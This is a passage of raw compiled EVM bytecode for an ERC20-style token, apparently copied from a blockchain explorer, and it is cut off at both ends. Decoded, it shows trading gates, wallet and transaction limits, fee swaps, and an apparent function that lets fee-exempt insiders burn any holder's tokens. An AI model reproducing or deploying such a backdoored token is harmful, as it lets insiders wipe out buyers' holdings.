818103600083015261377281613736565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006137d5602583612c0d565b91506137e082613779565b604082019050919050565b60006020820190508181036000830152613804816137c8565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000613867602383612c0d565b91506138728261380b565b604082019050919050565b600060208201905081810360008301526138968161385a565b9050919050565b7f54726164696e67206973206e6f74206163746976652e00000000000000000000600082015250565b60006138d3601683612c0d565b91506138de8261389d565b602082019050919050565b60006020820190508181036000830152613902816138c6565b9050919050565b7f427579207472616e7366657220616d6f756e742065786365656473207468652060008201527f6d61785472616e73616374696f6e416d6f756e742e0000000000000000000000602082015250565b6000613965603583612c0d565b915061397082613909565b604082019050919050565b6000602082019050818103600083015261399481613958565b9050919050565b7f4d61782077616c6c657420657863656564656400000000000000000000000000600082015250565b60006139d1601383612c0d565b91506139dc8261399b565b602082019050919050565b60006020820190508181036000830152613a00816139c4565b9050919050565b7f53656c6c207472616e7366657220616d6f756e7420657863656564732074686560008201527f206d61785472616e73616374696f6e416d6f756e742e00000000000000000000602082015250565b6000613a63603683612c0d565b9150613a6e82613a07565b604082019050919050565b60006020820190508181036000830152613a9281613a56565b9050919050565b6000613aa482612d17565b9150613aaf83612d17565b9250828203905081811115613ac757613ac66130ec565b5b92915050565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b6000613b29602183612c0d565b9150613b3482613acd565b604082019050919050565b60006020820190508181036000830152613b5881613b1c565b9050919050565b7f45524332303a206275726e20616d6f756e7420657863656564732062616c616e60008201527f6365000000000000000000000000000000000000000000000000000000000000602082015250565b6000613bbb602283612c0d565b9150613bc682613b5f565b604082019050919050565b60006020820190508181036000830152613bea81613bae565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000819050919050565b6000613c74613c6f613c6a84613c4f565b612f3a565b612d17565b9050919050565b613c8481613c59565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b613cbf81612cd9565b82525050565b6000613cd18383613cb6565b60208301905092915050565b6000602082019050919050565b6000613cf582613c8a565b613cff8185613c95565b9350613d0a83613ca6565b8060005b83811015613d3b578151613d228882613cc5565b9750613d2d83613cdd565b925050600181019050613d0e565b5085935050505092915050565b600060a082019050613d5d6000830188612dc3565b613d6a6020830187613c7b565b8181036040830152613d7c8186613cea565b9050613d8b6060830185612f10565b613d986080830184612dc3565b9695505050505050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000613dfe602683612c0d565b9150613e0982613da2565b604082019050919050565b60006020820190508181036000830152613e2d81613df1565b905091905056fea2646970667358221220c3435ccecbc8e80e9248a366aaec778150f2fe471567486b888aee44d42f5cf164736f6c63430008130033

Deployed Bytecode

0x6080604052600436106102345760003560e01c80637571336a1161012e578063c8c8ebe4116100ab578063e2f456051161006f578063e2f4560514610819578063f2fde38b14610844578063f724fb481461086d578063f8b45b0514610884578063ffb54a99146108af5761023b565b8063c8c8ebe414610744578063c9567bf91461076f578063cf9522fd14610786578063dd62ed3e146107b1578063dd854652146107ee5761023b565b8063a457c2d7116100f2578063a457c2d71461064f578063a9059cbb1461068c578063afa4f3b2146106c9578063b70143c9146106f2578063c18bc1951461071b5761023b565b80637571336a146105905780638da5cb5b146105b95780638e3b9133146105e457806395d89b41146105fb5780639a7a23d6146106265761023b565b806339509351116101bc578063583e056811610180578063583e0568146104bd5780635984e2da146104e85780636ddd17131461051157806370a082311461053c578063715018a6146105795761023b565b806339509351146103c25780633ff52513146103ff578063414a87861461042a57806349bd5a5e146104555780634fbee193146104805761023b565b80631816467f116102035780631816467f146102dd5780631cc8cd4c1461030657806323b872dd1461032f578063311028af1461036c578063313ce567146103975761023b565b806302ac81681461024057806306fdde031461024a578063095ea7b31461027557806318160ddd146102b25761023b565b3661023b57005b600080fd5b6102486108da565b005b34801561025657600080fd5b5061025f610beb565b60405161026c9190612c92565b60405180910390f35b34801561028157600080fd5b5061029c60048036038101906102979190612d4d565b610c7d565b6040516102a99190612da8565b60405180910390f35b3480156102be57600080fd5b506102c7610ca0565b6040516102d49190612dd2565b60405180910390f35b3480156102e957600080fd5b5061030460048036038101906102ff9190612ded565b610caa565b005b34801561031257600080fd5b5061032d60048036038101906103289190612e46565b610d72565b005b34801561033b57600080fd5b5061035660048036038101906103519190612e86565b610e23565b6040516103639190612da8565b60405180910390f35b34801561037857600080fd5b50610381610e52565b60405161038e9190612dd2565b60405180910390f35b3480156103a357600080fd5b506103ac610e58565b6040516103b99190612ef5565b60405180910390f35b3480156103ce57600080fd5b506103e960048036038101906103e49190612d4d565b610e61565b6040516103f69190612da8565b60405180910390f35b34801561040b57600080fd5b50610414610e98565b6040516104219190612dd2565b60405180910390f35b34801561043657600080fd5b5061043f610e9e565b60405161044c9190612dd2565b60405180910390f35b34801561046157600080fd5b5061046a610ea4565b6040516104779190612f1f565b60405180910390f35b34801561048c57600080fd5b506104a760048036038101906104a29190612ded565b610eca565b6040516104b49190612da8565b60405180910390f35b3480156104c957600080fd5b506104d2610f20565b6040516104df9190612f99565b60405180910390f35b3480156104f457600080fd5b5061050f600480360381019061050a9190612d4d565b610f46565b005b34801561051d57600080fd5b50610526610f66565b6040516105339190612da8565b60405180910390f35b34801561054857600080fd5b50610563600480360381019061055e9190612ded565b610f79565b6040516105709190612dd2565b60405180910390f35b34801561058557600080fd5b5061058e610fc1565b005b34801561059c57600080fd5b506105b760048036038101906105b29190612e46565b610fd5565b005b3480156105c557600080fd5b506105ce611038565b6040516105db9190612f1f565b60405180910390f35b3480156105f057600080fd5b506105f9611062565b005b34801561060757600080fd5b50610610611087565b60405161061d9190612c92565b60405180910390f35b34801561063257600080fd5b5061064d60048036038101906106489190612e46565b611119565b005b34801561065b57600080fd5b5061067660048036038101906106719190612d4d565b6111bf565b6040516106839190612da8565b60405180910390f35b34801561069857600080fd5b506106b360048036038101906106ae9190612d4d565b611236565b6040516106c09190612da8565b60405180910390f35b3480156106d557600080fd5b506106f060048036038101906106eb9190612fb4565b611259565b005b3480156106fe57600080fd5b5061071960048036038101906107149190612fb4565b61127e565b005b34801561072757600080fd5b50610742600480360381019061073d9190612fb4565b611366565b005b34801561075057600080fd5b50610759611401565b6040516107669190612dd2565b60405180910390f35b34801561077b57600080fd5b50610784611407565b005b34801561079257600080fd5b5061079b611497565b6040516107a89190612dd2565b60405180910390f35b3480156107bd57600080fd5b506107d860048036038101906107d39190612fe1565b61149d565b6040516107e59190612dd2565b60405180910390f35b3480156107fa57600080fd5b50610803611524565b6040516108109190612dd2565b60405180910390f35b34801561082557600080fd5b5061082e61152a565b60405161083b9190612dd2565b60405180910390f35b34801561085057600080fd5b5061086b60048036038101906108669190612ded565b611530565b005b34801561087957600080fd5b506108826115b3565b005b34801561089057600080fd5b506108996116a0565b6040516108a69190612dd2565b60405180910390f35b3480156108bb57600080fd5b506108c46116a6565b6040516108d19190612da8565b60405180910390f35b6108e26116b9565b737a250d5630b4cf539739df2c5dacb4c659f2488d600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610964600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166001610fd5565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156109d1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109f59190613036565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610a7e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610aa29190613036565b6040518363ffffffff1660e01b8152600401610abf929190613063565b6020604051808303816000875af1158015610ade573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b029190613036565b600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610b6f600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166001610fd5565b610b9c600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166001611737565b610be930600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6117d8565b565b606060038054610bfa906130bb565b80601f0160208091040260200160405190810160405280929190818152602001828054610c26906130bb565b8015610c735780601f10610c4857610100808354040283529160200191610c73565b820191906000526020600020905b815481529060010190602001808311610c5657829003601f168201915b5050505050905090565b600080610c886119a1565b9050610c958185856117d8565b600191505092915050565b6000600254905090565b610cb26116b9565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f90b8024c4923d3873ff5b9fcb43d0360d4b9217fa41225d07ba379993552e74360405160405180910390a380600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b610d7a6116b9565b80601460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167fad22d9ba9fa1529c37c1e8430efeb6b85f3f0c1b76ad863f292b411b439d824982604051610e179190612da8565b60405180910390a25050565b600080610e2e6119a1565b9050610e3b8582856119a9565b610e46858585611a35565b60019150509392505050565b600a5481565b60006012905090565b600080610e6c6119a1565b9050610e8d818585610e7e858961149d565b610e88919061311b565b6117d8565b600191505092915050565b60125481565b60115481565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000601460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610f4f33610eca565b610f5857600080fd5b610f628282612377565b5050565b600e60019054906101000a900460ff1681565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610fc96116b9565b610fd36000612544565b565b610fdd6116b9565b80601560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b61106a6116b9565b6000611074610ca0565b905080600b8190555080600c8190555050565b606060048054611096906130bb565b80601f01602080910402602001604051908101604052809291908181526020018280546110c2906130bb565b801561110f5780601f106110e45761010080835404028352916020019161110f565b820191906000526020600020905b8154815290600101906020018083116110f257829003601f168201915b5050505050905090565b6111216116b9565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036111b1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a8906131c1565b60405180910390fd5b6111bb8282611737565b5050565b6000806111ca6119a1565b905060006111d8828661149d565b90508381101561121d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161121490613253565b60405180910390fd5b61122a82868684036117d8565b60019250505092915050565b6000806112416119a1565b905061124e818585611a35565b600191505092915050565b6112616116b9565b670de0b6b3a7640000816112759190613273565b600d8190555050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166112bf6119a1565b73ffffffffffffffffffffffffffffffffffffffff16146112df57600080fd5b60006112e9610ca0565b905060006112f630610f79565b90506000606484846113089190613273565b61131291906132e4565b905080821015611357576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161134e90613361565b60405180910390fd5b6113608161260a565b50505050565b61136e6116b9565b670de0b6b3a76400006103e86001611384610ca0565b61138e9190613273565b61139891906132e4565b6113a291906132e4565b8110156113e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113db906133f3565b60405180910390fd5b670de0b6b3a7640000816113f89190613273565b600c8190555050565b600b5481565b61140f6116b9565b600e60009054906101000a900460ff161561145f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114569061345f565b60405180910390fd5b6001600e60016101000a81548160ff0219169083151502179055506001600e60006101000a81548160ff021916908315150217905550565b60105481565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600f5481565b600d5481565b6115386116b9565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036115a7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161159e906134f1565b60405180910390fd5b6115b081612544565b50565b600047116115f6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115ed9061355d565b60405180910390fd5b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166116376119a1565b73ffffffffffffffffffffffffffffffffffffffff161461165757600080fd5b3373ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f1935050505015801561169d573d6000803e3d6000fd5b50565b600c5481565b600e60009054906101000a900460ff1681565b6116c16119a1565b73ffffffffffffffffffffffffffffffffffffffff166116df611038565b73ffffffffffffffffffffffffffffffffffffffff1614611735576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161172c906135c9565b60405180910390fd5b565b80601660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508015158273ffffffffffffffffffffffffffffffffffffffff167fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab60405160405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611847576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183e9061365b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036118b6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118ad906136ed565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516119949190612dd2565b60405180910390a3505050565b600033905090565b60006119b5848461149d565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114611a2f5781811015611a21576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a1890613759565b60405180910390fd5b611a2e84848484036117d8565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611aa4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a9b906137eb565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611b13576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b0a9061387d565b60405180910390fd5b60008103611b2c57611b278383600061286f565b612372565b611b34611038565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611ba25750611b72611038565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611bdb5750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611c15575061dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611c2e5750600960149054906101000a900460ff16155b1561201157600e60009054906101000a900460ff16611d2857601460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611ce85750601460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b611d27576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d1e906138e9565b60405180910390fd5b5b601660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015611dcb5750601560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611e7257600b54811115611e15576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e0c9061397b565b60405180910390fd5b600c54611e2183610f79565b82611e2c919061311b565b1115611e6d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e64906139e7565b60405180910390fd5b612010565b601660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015611f155750601560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611f6457600b54811115611f5f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f5690613a79565b60405180910390fd5b61200f565b601560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1661200e57600c54611fc183610f79565b82611fcc919061311b565b111561200d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612004906139e7565b60405180910390fd5b5b5b5b5b600061201c30610f79565b90506000808211905080801561203e5750600e60019054906101000a900460ff165b80156120575750600960149054906101000a900460ff16155b80156120ad5750601660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156121035750601460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156121595750601460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561219e576001600960146101000a81548160ff02191690831515021790555061218283612ae5565b6000600960146101000a81548160ff0219169083151502179055505b6000600960149054906101000a900460ff16159050601460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806122545750601460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561225e57600090505b6000811561236257601660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156122fd576122f66013546122c9601254612b83565b6122d39190613273565b6122e860105488612bcc90919063ffffffff16565b612be290919063ffffffff16565b905061233e565b61233b60135461230e601154612b83565b6123189190613273565b61232d600f5488612bcc90919063ffffffff16565b612be290919063ffffffff16565b90505b60008111156123535761235287308361286f565b5b808561235f9190613a99565b94505b61236d87878761286f565b505050505b505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036123e6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123dd90613b3f565b60405180910390fd5b6123f282600083612bf8565b60008060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015612478576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161246f90613bd1565b60405180910390fd5b8181036000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600260008282540392505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161252b9190612dd2565b60405180910390a361253f83600084612bfd565b505050565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6000600267ffffffffffffffff81111561262757612626613bf1565b5b6040519080825280602002602001820160405280156126555781602001602082028036833780820191505090505b509050308160008151811061266d5761266c613c20565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612714573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906127389190613036565b8160018151811061274c5761274b613c20565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506127b330600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846117d8565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac94783600084600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518663ffffffff1660e01b8152600401612839959493929190613d48565b600060405180830381600087803b15801561285357600080fd5b505af1158015612867573d6000803e3d6000fd5b505050505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036128de576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128d5906137eb565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361294d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129449061387d565b60405180910390fd5b612958838383612bf8565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050818110156129de576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129d590613e14565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051612acc9190612dd2565b60405180910390a3612adf848484612bfd565b50505050565b6000612af030610f79565b90506000808203612b02575050612b80565b600082118015612b135750600d5482105b15612b2057819050612b74565b6000612b4a6064612b3c60105487612bcc90919063ffffffff16565b612be290919063ffffffff16565b90508084612b589190613a99565b9350600d54841115612b6e57600d549150612b72565b8391505b505b612b7d8161260a565b50505b50565b600080612b9161dead610f79565b118015612b9e5750600082115b612ba9576001612bc5565b60646001601354612bba9190613a99565b612bc491906132e4565b5b9050919050565b60008183612bda9190613273565b905092915050565b60008183612bf091906132e4565b905092915050565b505050565b505050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612c3c578082015181840152602081019050612c21565b60008484015250505050565b6000601f19601f8301169050919050565b6000612c6482612c02565b612c6e8185612c0d565b9350612c7e818560208601612c1e565b612c8781612c48565b840191505092915050565b60006020820190508181036000830152612cac8184612c59565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612ce482612cb9565b9050919050565b612cf481612cd9565b8114612cff57600080fd5b50565b600081359050612d1181612ceb565b92915050565b6000819050919050565b612d2a81612d17565b8114612d3557600080fd5b50565b600081359050612d4781612d21565b92915050565b60008060408385031215612d6457612d63612cb4565b5b6000612d7285828601612d02565b9250506020612d8385828601612d38565b9150509250929050565b60008115159050919050565b612da281612d8d565b82525050565b6000602082019050612dbd6000830184612d99565b92915050565b612dcc81612d17565b82525050565b6000602082019050612de76000830184612dc3565b92915050565b600060208284031215612e0357612e02612cb4565b5b6000612e1184828501612d02565b91505092915050565b612e2381612d8d565b8114612e2e57600080fd5b50565b600081359050612e4081612e1a565b92915050565b60008060408385031215612e5d57612e5c612cb4565b5b6000612e6b85828601612d02565b9250506020612e7c85828601612e31565b9150509250929050565b600080600060608486031215612e9f57612e9e612cb4565b5b6000612ead86828701612d02565b9350506020612ebe86828701612d02565b9250506040612ecf86828701612d38565b9150509250925092565b600060ff82169050919050565b612eef81612ed9565b82525050565b6000602082019050612f0a6000830184612ee6565b92915050565b612f1981612cd9565b82525050565b6000602082019050612f346000830184612f10565b92915050565b6000819050919050565b6000612f5f612f5a612f5584612cb9565b612f3a565b612cb9565b9050919050565b6000612f7182612f44565b9050919050565b6000612f8382612f66565b9050919050565b612f9381612f78565b82525050565b6000602082019050612fae6000830184612f8a565b92915050565b600060208284031215612fca57612fc9612cb4565b5b6000612fd884828501612d38565b91505092915050565b60008060408385031215612ff857612ff7612cb4565b5b600061300685828601612d02565b925050602061301785828601612d02565b9150509250929050565b60008151905061303081612ceb565b92915050565b60006020828403121561304c5761304b612cb4565b5b600061305a84828501613021565b91505092915050565b60006040820190506130786000830185612f10565b6130856020830184612f10565b9392505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806130d357607f821691505b6020821081036130e6576130e561308c565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061312682612d17565b915061313183612d17565b9250828201905080821115613149576131486130ec565b5b92915050565b7f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d2060008201527f6175746f6d617465644d61726b65744d616b6572506169727300000000000000602082015250565b60006131ab603983612c0d565b91506131b68261314f565b604082019050919050565b600060208201905081810360008301526131da8161319e565b9050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b600061323d602583612c0d565b9150613248826131e1565b604082019050919050565b6000602082019050818103600083015261326c81613230565b9050919050565b600061327e82612d17565b915061328983612d17565b925082820261329781612d17565b915082820484148315176132ae576132ad6130ec565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006132ef82612d17565b91506132fa83612d17565b92508261330a576133096132b5565b5b828204905092915050565b7f4e6f7420656e6f75676820746f6b656e73000000000000000000000000000000600082015250565b600061334b601183612c0d565b915061335682613315565b602082019050919050565b6000602082019050818103600083015261337a8161333e565b9050919050565b7f43616e6e6f7420736574206d61782077616c6c6574206c6f776572207468616e60008201527f20302e3125000000000000000000000000000000000000000000000000000000602082015250565b60006133dd602583612c0d565b91506133e882613381565b604082019050919050565b6000602082019050818103600083015261340c816133d0565b9050919050565b7f54726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6000613449601783612c0d565b915061345482613413565b602082019050919050565b600060208201905081810360008301526134788161343c565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006134db602683612c0d565b91506134e68261347f565b604082019050919050565b6000602082019050818103600083015261350a816134ce565b9050919050565b7f546f6b656e3a206e6f2045544820746f20636c65617200000000000000000000600082015250565b6000613547601683612c0d565b915061355282613511565b602082019050919050565b600060208201905081810360008301526135768161353a565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006135b3602083612c0d565b91506135be8261357d565b602082019050919050565b600060208201905081810360008301526135e2816135a6565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000613645602483612c0d565b9150613650826135e9565b604082019050919050565b6000602082019050818103600083015261367481613638565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006136d7602283612c0d565b91506136e28261367b565b604082019050919050565b60006020820190508181036000830152613706816136ca565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b6000613743601d83612c0d565b915061374e8261370d565b602082019050919050565b6000602082019050818103600083015261377281613736565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006137d5602583612c0d565b91506137e082613779565b604082019050919050565b60006020820190508181036000830152613804816137c8565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000613867602383612c0d565b91506138728261380b565b604082019050919050565b600060208201905081810360008301526138968161385a565b9050919050565b7f54726164696e67206973206e6f74206163746976652e00000000000000000000600082015250565b60006138d3601683612c0d565b91506138de8261389d565b602082019050919050565b60006020820190508181036000830152613902816138c6565b9050919050565b7f427579207472616e7366657220616d6f756e742065786365656473207468652060008201527f6d61785472616e73616374696f6e416d6f756e742e0000000000000000000000602082015250565b6000613965603583612c0d565b915061397082613909565b604082019050919050565b6000602082019050818103600083015261399481613958565b9050919050565b7f4d61782077616c6c657420657863656564656400000000000000000000000000600082015250565b60006139d1601383612c0d565b91506139dc8261399b565b602082019050919050565b60006020820190508181036000830152613a00816139c4565b9050919050565b7f53656c6c207472